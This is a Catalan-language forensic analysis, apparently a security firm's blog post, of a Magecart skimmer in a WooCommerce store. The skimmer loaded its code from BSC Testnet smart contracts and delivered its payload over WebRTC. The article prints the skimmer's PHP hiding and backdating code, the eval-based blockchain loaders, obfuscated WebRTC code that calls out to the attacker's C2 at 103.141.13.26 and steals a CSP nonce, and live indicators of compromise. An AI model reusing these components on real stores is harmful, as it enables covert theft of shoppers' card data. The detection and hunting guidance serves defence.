L'skimmer fantasma: Magecart amb emmagatzematge en blockchain i lliurament per WebRTC
Contingut de l'article
Team DEFION Security va analitzar un skimmer Magecart el codi maliciós del qual mai va estar al servidor de la botiga en línia compromesa. Vivia en smart contracts immutables en una blockchain pública i es lliurava al navegador de la víctima mitjançant un canal WebRTC xifrat, controlat per un C2 remot. Resultat: invisible per a escàners de malware, FIM, WAF i takedowns de domini/IP.
Durant una investigacio forense recent sobre el compromis d'una botiga en linia (WordPress + WooCommerce), vam analitzar un web skimmer que trenca gairebe totes les suposicions sobre les quals es construeixen les defenses classiques contra Magecart. El codi que robava les dades de targeta dels clients mai va estar, ni un instant, al servidor de la botiga. Vivia en smart contracts immutables en una blockchain publica i es lliurava al navegador de la victima mitjancant un canal WebRTC xifrat, servit per un C2 remot.
El resultat es un skimmer invisible per a escaners de malware, monitoratge d'integritat d'arxius (FIM), WAF, inspeccio de trafic HTTP i fins i tot analisi de la mida de les respostes del servidor. I com a bonus per a l'atacant: part de la infraestructura es, a la practica, impossible de tombar.
Aquest article desgrana l'arquitectura de quatre capes de l'skimmer, explica per que cada decisio de disseny esta orientada a evadir un control especific, i mostra quin rastre deixa i com cacar-lo. Totes les dades sensibles d'aquest cas han estat anonimitzades; els indicadors de la infraestructura de l'atacant es mantenen pel seu valor com a threat intelligence.
El problema amb Magecart "tal com el coneixem"
Un web skimmer (o atac Magecart) es JavaScript maliciós injectat en una botiga en linia que captura el que escriu un comprador, tipicament dades de targeta, per exfiltrar-ho despres a un servidor de l'atacant. La variant "classica" injecta aquest JavaScript d'alguna d'aquestes formes:
- una etiqueta
<script>en l'HTML del checkout, - una etiqueta en el gestor d'etiquetes (Google Tag Manager i similars),
- un arxiu .js allotjat en el mateix servidor o en un domini de tercers.
Totes comparteixen una propietat que els defensors aprofiten: en algun moment, el codi malicios es observable. Esta en l'HTML servit, en el JS public del lloc, en un arxiu en disc, o en una peticio HTTP sortint cap a un domini que es pot bloquejar. Sobre aquesta observabilitat es recolzen el File Integrity Monitoring (FIM), els escaners de malware del servidor, els WAF que inspeccionen trafic, les directives de Content Security Policy (CSP) i els takedowns de dominis i IPs.
L'skimmer que vam analitzar esta dissenyat, capa per capa, per que cap d'aquestes suposicions es compleixi. Pertany a una familia que la industria documenta des de 2023 sota el nom d'skimmers Web3 amb lliurament per WebRTC.
Visio general: quatre capes d'indireccio
| Capa | Component | On viu |
|---|---|---|
| 1 | Loader XOR (407 bytes) | Base de dades de WordPress (wp_options) |
| 2 | Smart contract #1 | BSC Testnet (0xAeF2...84F8) |
| 3 | Smart contract #2 | BSC Testnet (0xeED9...c999) |
| 4 | Formulari fraudulent | Servidor C2, via WebRTC (103.141.13.26:3479/UDP) |
La idea de fons: el servidor de la botiga nomes allotja un fragment minim i incomprensible (el loader xifrat de 407 bytes). Tota la resta s'obte en temps d'execucio des d'infraestructura externa, i l'ultima capa, la que la victima realment veu, ni tan sols viatja per un canal inspeccionable.
Abans d'entrar en les capes, convé veure com va arribar l'atacant al servidor i com es va plantar el loader, perque aqui si va haver-hi activitat observable (a posteriori).
Capa 0: el vector d'acces i la cadena de subministrament de plugins "nulled"
El vector d'acces mes probable no va ser una vulnerabilitat explotada activament, sino una copia il·legal ("nulled") d'un plugin comercial. Al lloc coexistien dues versions manipulades successives d'un conegut page builder de WordPress:
- Una primera versio crackejada, descarregada d'un repositori il·legal de plugins (
wordpressnull.org), present al servidor aproximadament un any abans del desplegament actiu de l'skimmer. Trucava a servidors de tercers per "validar" la llicencia, comportament tipic de distribucions manipulades que sovint ve acompanyat d'una porta posterior. - Una segona versio manipulada, aquesta amb un bloc
/* Ultrapack Unlock */que interceptava la validacio de llicencia i la redirigia a un servidor d'activacio de tercers (activations.ultrapackv2.com).
El model de negoci es conegut: el distribuidor de plugins il·legals incorpora una porta posterior, manté acces latent al lloc durant mesos i, en algun moment, monetitza aquest acces venent-lo o transferint-lo a un operador de campanyes d'skimming. L'interval d'aproximadament un any entre la instal·lacio de la copia crackejada i l'activacio de l'skimmer coincideix exactament amb aquest patro de "acces latent, monetitzacio posterior".
Per aixo importa entendre que un plugin nulled no es "el mateix plugin, pero gratis". Es un canal de subministrament controlat per un tercer hostil. I reinstal·lar des de la mateixa font durant la resposta a incidents no neteja, reinfecta.
El desplegament: 15 minuts d'automatitzacio al servidor
Reconstruint les marques de temps a la base de dades (timestamps Unix a wp_usermeta i en les propies opcions de l'skimmer) es veu que el desplegament de la fase activa es va concentrar en una finestra de 15 minuts:
10:54 uninstall.php d'un plugin -> porta posterior PHP activada via cookie (wjxq_)
11:01 uninstall.php d'un altre plugin -> segona porta posterior (wjxq_)
11:07 creacio de dos usuaris rogue (un admin, degradat despres)
11:09 instal·lacio del plugin instal·lador fals + escriptura del loader XOR a la base de dades Quatre accions independents en quinze minuts no es una instal·lacio manual des d'un navegador, es automatitzacio al costat del servidor. L'atacant ja tenia execucio de codi (via la porta posterior del plugin il·legal o una webshell previa). Un detall interessant sobre les portes posteriors: es van injectar en els arxius uninstall.php de diversos plugins, codi que nomes s'executa en desinstal·lar el plugin corresponent, minimitzant la probabilitat de deteccio en una revisio manual, i s'activaven amb una cookie especifica (wjxq_).
Capa 1: el loader de 407 bytes que ningu veu
L'instal·lador es un plugin de WordPress fals amb una capcalera que sembla legitima (amb un error revelador en el nom de l'autor). Implementa quatre funcions malicioses concurrents, totes orientades a l'evasio.
1) Autoocultacio al panell d'administracio. Mitjancant filtres estandard de WordPress, el plugin s'elimina a si mateix de la llista de plugins instal·lats i de les actualitzacions disponibles. Es invisible al panell, encara que esta actiu:
add_filter('all_plugins', function($plugins) use ($base) {
if (isset($plugins[$base])) unset($plugins[$base]);
return $plugins;
}, 0);
add_filter('site_transient_update_plugins', function($value) use ($base) {
if (isset($value->response[$base])) unset($value->response[$base]);
return $value;
}, 0); 2) Retroactivacio de marques de temps (timestamp backdating). En activar-se, el plugin va executar touch() sobre tots els seus arxius amb una data tres mesos anterior a la real, per evadir qualsevol cerca d'"arxius modificats recentment":
register_activation_hook(__FILE__, 'trust_patch');
function trust_patch() {
$tdata = strtotime('-3 months'); // retrocedeix 3 mesos
trust_dir(plugin_dir_path(__FILE__), $tdata);
} A la copia de seguretat, els arxius semblaven datar de desembre de 2025; el seu ctime real era finals de marc de 2026. Com a resultat, la primera cerca de patrons ofuscats (eval(base64_decode(...)), gzinflate, etc.) i d'arxius recents no va trobar res: no hi havia ofuscacio classica, i les dates no delataven l'activitat.
3) Ocultacio d'un usuari rogue. Mitjancant el filtre pre_user_query, el plugin ocultava un usuari especific (l'ID del qual s'emmagatzemava en una altra opcio de la base de dades) de totes les llistes d'usuaris i de la REST API.
4) Injeccio dinamica de l'skimmer. El nucli. Nomes al frontend (!is_admin()) i nomes si el flag ia (is active) esta en 1, el plugin obte un blob xifrat de la base de dades, el desxifra amb XOR i l'injecta com a script inline mitjancant l'API legitima de WordPress:
function woo_inc() {
if (!is_admin()) {
$mc_b = get_option('p_set', ['ia' => 0]);
if ($mc_b && !empty($mc_b['ia']) && isset($mc_b['ce'], $mc_b['dk'], $mc_b['de'])) {
$script = xor_decrypt($mc_b['ce'], $mc_b['dk']); // XOR, clau a 'dk'
wp_register_script('front_inc', '', explode(',', $mc_b['de']), $mc_b['lu'], true);
wp_enqueue_script('front_inc');
wp_add_inline_script('front_inc', $script); // s'injecta a TOTES les pagines
}
}
}
add_action('wp_enqueue_scripts', 'woo_inc', 1); El loader xifrat s'emmagatzemava en una opcio de wp_options com a array PHP serialitzat, amb una estructura compacta:
| Camp | Significat | Valor |
|---|---|---|
| ce | cipher encrypted (payload XOR) | 407 bytes |
| dk | clau XOR | c77d5cd5 |
| de | dependencies JS | jquery |
| ia | is active | 1 |
| lu | last updated (Unix) | timestamp del desplegament |
Per que importen els 407 bytes. La injeccio de 407 bytes via wp_add_inline_script() es manté dins la variacio normal del contingut dinamic d'un checkout (al voltant dels 2.400 bytes). El truc classic de detectar skimmers pel creixement de l'HTML servit, simplement, no funciona aqui.
Un cop desxifrat, el loader de la capa 1 es aquest JavaScript (407 bytes):
fetch("https://bsc-testnet-rpc.publicnode.com", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{' +
'"to":"0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8",' +
'"data":"0xe2179b8e"},"latest"]}'
}).then(r => r.json()).then(j => {
let h = j.result, l = parseInt(h.slice(66, 130), 16) * 2;
eval(h.slice(130, 130 + l).replace(/../g, c => String.fromCharCode(parseInt(c, 16))))
}) En concret: un eth_call a un smart contract, descodificar el resultat hexadecimal com a ASCII i eval(). La seguent capa no viu al servidor.
Capes 2 i 3: la blockchain com a emmagatzematge resistent a takedowns
eth_call es un metode de l'API JSON-RPC d'Ethereum (i xarxes compatibles com Binance Smart Chain) que llegeix una funcio d'un smart contract sense generar transaccio ni cost. El loader utilitza aixo contra dos contractes desplegats a BSC Testnet (la xarxa de proves de Binance Smart Chain, chain ID 97).
Que sigui la testnet no es casualitat, es una decisio de cost: els contractes en testnet son gratuits, publics i immutables, igual que a mainnet, sense emetre criptomoneda real. L'atacant obté emmagatzematge permanent i resistent a la censura, a cost zero.
El contracte #1 retorna (codificat en ABI d'Ethereum per a tipus dinamics) el loader de la capa 2, que afegeix resiliencia mitjancant una llista de fins a 8 nodes RPC publics amb failover i l'adreca del contracte #2:
const N = [ "https://bsc-testnet-rpc.publicnode.com",
"https://data-seed-prebsc-1-s1.bnbchain.org:8545", /* +6 nodes mes */ ];
const A = ["0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999"]; // contracte #2
// ... recorre A a traves de N fins que un respon ...
let d = (await Promise.all(A.map(R))).join("");
let c;
if (d.startsWith("GZIP:")) { // payload comprimit
const b = atob(d.slice(5)), u = new Uint8Array(b.length);
for (let i=0;i<b.length;i++) u[i]=b.charCodeAt(i);
c = await new Response(new Blob([u]).stream()
.pipeThrough(new DecompressionStream("gzip"))).text();
}
if (c) (new Function(c))(); // executa la capa 4 El contracte #2 retorna ~1,4 KB amb prefix GZIP: i base64; descomprimit, son ~2 KB de JavaScript, el codi que estableix el canal WebRTC. Aqui ja es veuen dos refinaments:
- Failover entre 8 nodes RPC: si un node public deixa de servir, l'skimmer segueix funcionant. No hi ha un unic punt que desactivar.
- Compressio GZIP a la blockchain: per reduir el cost d'emmagatzematge i dificultar el grep del contingut del contracte.
Per que aixo es un mal de cap per a la defensa. Un domini o una IP es poden bloquejar i reportar. Un contracte en una blockchain publica no pot ser modificat ni eliminat per ningu, ni tan sols pel seu propi autor o per una autoritat judicial. La capa d'"emmagatzematge" de l'skimmer es, a la practica, indestructible. Nomes queda marge d'accio sobre els nodes RPC (que son infraestructura legitima i compartida) o sobre el loader al servidor.
Capa 4: lliurament per WebRTC, on l'skimmer es torna invisible
Aqui esta la part realment enginyosa. El payload final (el formulari fraudulent que veu la victima) no es descarrega per HTTP. Arriba a traves d'un canal WebRTC directe cap al C2.
El codi esta ofuscat per no deixar cadenes detectables: la IP del C2 es reconstrueix aritmeticament i els noms de les APIs es divideixen en fragments:
var rd=103, Ba3=141, UP=13, Mr=26;
var BVs = [rd, Ba3, UP, Mr].join('.'); // -> "103.141.13.26"
var uyP = 3479; // port UDP del C2
var fPn = 'RTC'+'Peer'+'Connec'+'tion'; // -> "RTCPeerConnection" (evita grep)
var qU9 = new window[fPn];
var CkX = qU9['create'+'Data'+'Channel'](location.href); El truc per no necessitar servidor de senyalitzacio ni STUN: el codi fabrica manualment una resposta SDP que apunta directament al C2 com a candidat ICE, forcant un canal DTLS/SCTP per UDP cap a 103.141.13.26:3479:
qU9['setRemote'+'Description']({
type: 'answer',
sdp: 'v=0\r\n...' +
'm=application ' + uyP + ' UDP/DTLS/SCTP webrtc-datachannel\r\n' +
'c=IN IP4 ' + BVs + '\r\n' +
'a=candidate:1 1 UDP 771594009 ' + BVs + ' ' + uyP + ' typ host\r\n'
}); El C2 envia el formulari fraudulent en fragments pel canal de dades; un cop el canal es tanca, l'skimmer reassembla els fragments i els executa. Abans d'executar, intenta robar un nonce de CSP d'un <script> legitim de la pagina per saltar-se la Content Security Policy:
for (e5=0; e5<Vp.length; e5++)
if (Vp[e5].nonce) { // copia el nonce d'un script legitim
mf.nonce = Vp[e5].nonce;
mf.textContent = a3; // payload reassemblat
document.head.appendChild(mf); // s'executa amb CSP valida
mf.remove();
return;
} El payload final es un formulari emergent "Billing Information" amb una seccio "Card payment" que demana nom i numero de targeta. Conte un error revelador: el camp es diu "Cart number" en lloc de "Card number", una empremta que identifica l'autor del payload. Quan la victima omple el formulari, les dades s'exfiltren al C2 pel mateix canal xifrat.
Per que falla cada control de defensa classic
| Control de defensa | Per que falla |
|---|---|
| CSP (script-src, connect-src) | WebRTC no esta cobert per aquestes directives; a mes l'skimmer roba un nonce valid |
| WAF / proxy d'inspeccio HTTP | El payload viatja per UDP (DTLS/SCTP), no per HTTP. No hi ha peticio a inspeccionar |
| Escaner de malware / FIM del servidor | El payload final mai toca el servidor de la botiga |
| Analisi de mida de resposta | La injeccio son 407 bytes, dins la variacio normal del checkout |
| Takedown de domini/IP | Les capes 2-3 viuen en una blockchain immutable, amb failover entre 8 nodes RPC |
| Analisi de xarxa | Canal DTLS xifrat, sense URLs en text clar, IP del C2 reconstruida aritmeticament |
| Cerca de cadenes (grep) | Noms d'API dividits ('RTC'+'Peer'+...), payload GZIP dins del contracte |
No es un atac dirigit: una campanya a escala industrial
El detall que millor contextualitza l'incident: el bytecode del contracte #2 es identic al d'altres 61 contractes a la mateixa xarxa, tots desplegats des de la mateixa adreca deployer. Aixo no es un atac artesanal contra una unica victima, es infraestructura per a una campanya a escala, on cada contracte pot servir el mateix loader WebRTC per a una botiga en linia compromesa diferent.
El que SI deixa rastre: deteccio i hunting
L'skimmer es invisible al navegador i en el trafic, pero la seva instal·lacio i persistencia al servidor son observables. Si operes o defenses botigues en linia WordPress/WooCommerce, aixo es el que has de cacar:
A la base de dades / WordPress:
- Plugins ocults: compara la llista active_plugins a la base de dades amb la que mostra el panell d'administracio. Un plugin actiu a la base de dades pero que no apareix al panell es un senyal d'alarma directa.
- Opcions sospitoses a wp_options: arrays serialitzats amb camps com ce/dk/de/ia, o noms generics i opacs (p_set, c_set). Un blob binari en una opcio de WordPress no es normal.
- Usuaris fantasma: forats en la sequencia autoincremental de wp_users, o metadades orfes a wp_usermeta sense fila corresponent a wp_users (usuaris creats i despres eliminats).
- Portes posteriors en arxius "silenciosos": codi en els arxius uninstall.php de plugins, o comprovacions de cookie inusuals (per exemple, una cookie d'activacio com wjxq_).
Al costat del client / monitoratge en temps d'execucio (RUM):
- Creacio d'un RTCPeerConnection en una pagina de checkout que no te cap rao legitima per usar WebRTC. Es probablement el senyal mes fiable: instrumenta el navegador per alertar quan aparegui WebRTC on no hauria de fer-ho.
- Crides fetch/XHR a nodes RPC de blockchain (*.bnbchain.org, publicnode.com, etc.) des d'una pagina d'e-commerce. No hi ha cap rao legitima per la qual un checkout es comuniqui amb un node RPC de BSC.
- Recorda que SRI i CSP no son suficients: SRI no cobreix scripts injectats inline, i CSP no restringeix WebRTC. La proteccio efectiva depen del monitoratge del comportament en temps d'execucio al costat del client.
A la xarxa:
- Trafic UDP sortint cap a ports atipics amb un patro WebRTC pero sense un servidor STUN/TURN legitim, originat des de sessions de checkout.
Indicadors de compromis (IOC)
El client ha estat anonimitzat; aquests indicadors pertanyen a la infraestructura de l'atacant i es publiquen pel seu valor com a threat intelligence. Es poden verificar de forma independent i reproduible (els contractes, en qualsevol node RPC de BSC Testnet).
Infraestructura de l'atacant
- Servidor C2 / WebRTC:
103.141.13.26:3479(UDP) - Dominis:
systmshield.com,init.systmshield.com - Smart contract #1 (BSC Testnet):
0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8 - Smart contract #2 (BSC Testnet):
0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999 - Bytecode del contracte #2 identic a altres 61 contractes del mateix deployer (campanya a escala)
Al servidor compromes
wp_options['p_set']/['c_set'](amb ia=1): loader XOR de l'skimmer (frontend/admin)- Clau XOR del loader:
c77d5cd5 - Cookie d'activacio de les portes posteriors PHP:
wjxq_ - Plugin ocult mitjancant el filtre
all_plugins: instal·lador de l'skimmer - Portes posteriors en
uninstall.phpde plugins: persistencia PHP - "Cart number" (error): empremta de l'autor del payload fraudulent
- Font probable del compromis inicial: copies nulled d'un page builder de WordPress via wordpressnull.org i activations.ultrapackv2.com
Nota editorial: aquest article es basa en investigacio forense original de Team DEFION Security. Totes les dades del client afectat han estat anonimitzades.
Sospita d'un skimmer o compromis similar a la seva botiga en linia?
El nostre equip d'Incident Response realitza investigacions forenses, identifica indicadors de compromis i ajuda en la remediacio i recuperacio.
Contactar
®